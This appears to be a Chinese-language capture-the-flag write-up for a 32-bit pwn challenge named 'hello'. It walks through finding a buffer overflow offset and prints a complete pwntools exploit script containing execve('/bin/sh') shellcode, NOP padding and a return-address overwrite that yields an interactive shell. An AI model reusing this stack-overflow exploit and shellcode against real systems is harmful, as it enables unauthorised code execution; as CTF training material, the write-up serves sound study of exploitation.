pwn hello

拿道题第一步检查保护和结构

找洞下断点如图

进行调试发现如下图所示,如果要控制esp就先控制exc

然后,查看题目所给的buf内存离exc偏移量为30

进行布局将想要放放在你想要去的地方(经上,可知我们要控esp然后ret得到shell控制,即先控exc):

得出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import re


context(arch='i386', os='linux', log_level='debug')




p = process('./hello')


buf = p.recvline()
buf1 = p.recvline()


shellcode_addr = buf1


print "shellcode_addr: ", shellcode_addr


shellcode_addr = int(shellcode_addr,16)


shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
shellcode += "\x80"


shellcode = shellcode.ljust(26, '\x90')


payload = p32(shellcode_addr + 4) + shellcode + p32(shellcode_addr + 4)
print len(payload)


#payload = shellcode + p32(shellcode_addr+4)


gdb.attach(p.pid)


print 'payload:',payload# ctf-tools: PATH setup


p.sendline(payload)


p.interactive()

这里最为致命:

1
shellcode = shellcode.ljust(26, '\x90')

之前错误的地方就在这!!!!!因为返回的是个地址,如果用30个来覆盖则会出现这样的情况

经过查看地址发现,会把那段返回的地址都填充

本文总阅读量